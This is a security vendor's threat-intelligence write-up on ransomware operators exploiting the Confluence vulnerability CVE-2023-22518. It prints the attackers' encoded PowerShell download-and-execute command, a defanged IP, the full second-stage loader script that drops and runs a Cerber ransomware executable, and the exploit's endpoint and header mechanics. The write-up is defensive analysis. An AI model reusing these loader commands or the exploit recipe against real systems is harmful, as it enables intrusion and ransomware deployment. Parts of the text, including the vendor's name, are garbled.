Ģ��TV

On October 31, 2023, Atlassian published patches and an advisory for , an improper authorization vulnerability affecting Confluence Data Center and Confluence Server. Later, on November 3, 2023, additional information was released from Atlassian identifying in-the-wild exploitation of CVE-2023-22518. In addition to from other , Ģ��TV can confirm active exploitation starting on November 3 post patch release.

Specifically, at 08:25 UTC on November 3, 2023, Ģ��TV identified an encoded PowerShell command attempting to download and execute a remote payload:

[.highlight]powershell.exe�� -exec bypass -nop -enc[.highlight]
[.highlight]SQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADMALgAxADcANgAuADEANwA5AC4ANAAxAC8AdABtAHAALgAzADcAIgApACkA[.highlight]

When decoded, the command attempts to execute the following script ([.highlight]5a2c6938554f9e54d291f8fa0837d8d1e34b9b310bd02076affd9245303bda39[.highlight]):

[.highlight]IEX((New-Object Net.WebClient).DownloadString("hXXp://193.176.179[.]41/tmp.37"))[.highlight]

Existing Ģ��TV detections for encoded PowerShell content contacting a remote resource identified this activity and allowed Ģ��TV analysts to respond to the incident. However, the activity in question extended beyond simple script execution.��

Reviewing the contents of [.highlight]tmp.37[.highlight], Ģ��TV analysts identified the following content:

function Download_Execute

[CmdletBinding()] Param(

[Parameter(Position = 0, Mandatory = $True)]

[String]

$URL

$webclient = New-Object System.Net.WebClient

$webclient.Headers.Add("User-Agent","Mozilla/4.0+")

$webclient.Proxy = [System.Net.WebRequest]::DefaultWebProxy

$webclient.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials

$ProxyAuth = $webclient.Proxy.IsBypassed($URL)

if($ProxyAuth)

[string]$hexformat = $webClient.DownloadString($URL)

else

$webClient = New-Object -ComObject InternetExplorer.Application

$webClient.Visible = $false

$webClient.Navigate($URL)

while($webClient.ReadyState -ne 4) { Start-Sleep -Milliseconds 100 }

[string]$hexformat = $webClient.Document.Body.innerText

$webClient.Quit()

[Byte[]] $temp = $hexformat -split ' '

[System.IO.File]::WriteAllBytes("$env:temp\svcPrvinit.exe", $temp)

$args = "-b 9"

Start-Process -FilePath "$env:temp\svcPrvinit.exe" -WindowStyle Hidden -ArgumentList $args

Download_Execute hXXp://193.176.179[.]41/tmp.37.txt

The above PowerShell snippet attempts to retrieve a raw hex format payload stored at the same address, and writes it to the %TEMP% location of the executing profile as [.highlight]svcPrvinit.exe[.highlight]. After retrieving and assembling the payload, Ģ��TV analysts obtained a portable executable (PE) file with the following SHA256 hash:

[.highlight]f2e17ec85c3f8ee26a3be3ce52c6e140448941d705a9bdedb7c1aa82a9d9707f[.highlight].

Based on analysis, the PE file is a ransomware variant in the�� (or C3RB3R) family, appending [.highlight]L0CK3D[.highlight] to encrypted files.

In many respects, the above activity represents fairly standard tradecraft for adversaries in e-crime environments, using a combination of legitimate system tools and applications to retrieve payloads for monetization or other purposes. However, the speed at which this campaign unfolded, with only a few days between the release of a patch and active, in-the-wild exploitation, emphasizes how quickly such adversaries work to identify and take advantage of distribution mechanisms for their wares.

Exploitation Mechanics

Proofs of concept for this exploit are publicly available, though most do not feature a full weaponized payload. shows how the exploit functions.

A single POST request is made to the [.highlight]/json/setup-restore.action[.highlight] endpoint with a specified header of [.highlight]“X-Atlassian-Token”: “no-check”[.highlight]. This endpoint allows a Confluence administrator to restore the Confluence site from a specified backup zip directory. Normally, administrative endpoints are protected with the authentication security feature WebSudo, but this endpoint lacks this security feature in the affected versions.

The proof of concept POST request submits the necessary form fields required to upload and restore a full site backup. While a fully weaponized exploit would inject a malicious site backup to create a new administrator user, this proof of concept injects an empty zip file with a random name. The proof of concept then checks for a known error in the response that indicates the zip is invalid. This demonstrates exploitability without injecting a weaponized payload.

While this proof of concept is not weaponized, it is not hard to imagine what the fully weaponized exploit would look like. An attacker would only need to replace the empty zip contents with a legitimate, malicious backup zip directory and submit the form to the vulnerable endpoint.

Post-exploitation activity after weaponized payload delivery would then follow the patterns described in the referenced threat advisories. After gaining administrative access with the injected admin user, adversaries are free to install an to execute code remotely, pilfer sensitive information from the Confluence spaces, or install ransomware.

Attack Surface

Confluence is a popular technology that often faces the public internet. A Shodan search for servers with any header referencing “confluence” returns well over 200,000 possible endpoints. A more narrow search by the well-known Confluence favicon hash returns over 5600 possible endpoints. While neither of these searches proves exploitability or version number, they demonstrate that Confluence is often publicly accessible.

What Can You Do?

Given what was observed, asset owners and IT administrators must work to identify externally exposed applications and services, then prioritize patching them when weaknesses are identified.��

As shown in this example with Atlassian’s Confluence, active exploitation took only a few days from patch release, leaving security and IT personnel little time to respond.

Where patching remains difficult or onerous, asset owners and administrators should prioritize attack surface minimization by removing applications from direct, external access wherever possible. When applications, such as Confluence or other items, require external accessibility for business purposes, placing these items behind security controls such as a VPN or similar can minimize exposure—so long as the VPN or other item is also diligently maintained and secured.

Finally, in this particular instance, Ģ��TV was able to identify exploitation shortly after patch release due to adversary reliance on common post-exploitation behaviors. Building and maintaining “defense in depth” postures so that post-exploitation items can be rapidly identified can ensure that even in zero-day exploitation instances (such as with Apache ActiveMQ exploitation in early October 2023), defenders maintain some level of visibility and response capability.

Overall, vulnerabilities in external-facing or externally accessible applications remain a concerning problem in the IT security space. Patching will be the definitive answer to such problems (when available and released) for the foreseeable future, but should be supplemented through a combination of secure architecture, defense in depth, and attack surface management. Through a combination of these approaches, organizations can find themselves prepared for and able to respond to adversary exploitation of all manner of future vulnerabilities, while creating a significantly more secure network posture.

Special thanks to Joe Slowik, Craig Sweeney, and Matt Kiely for their contributions to this writeup.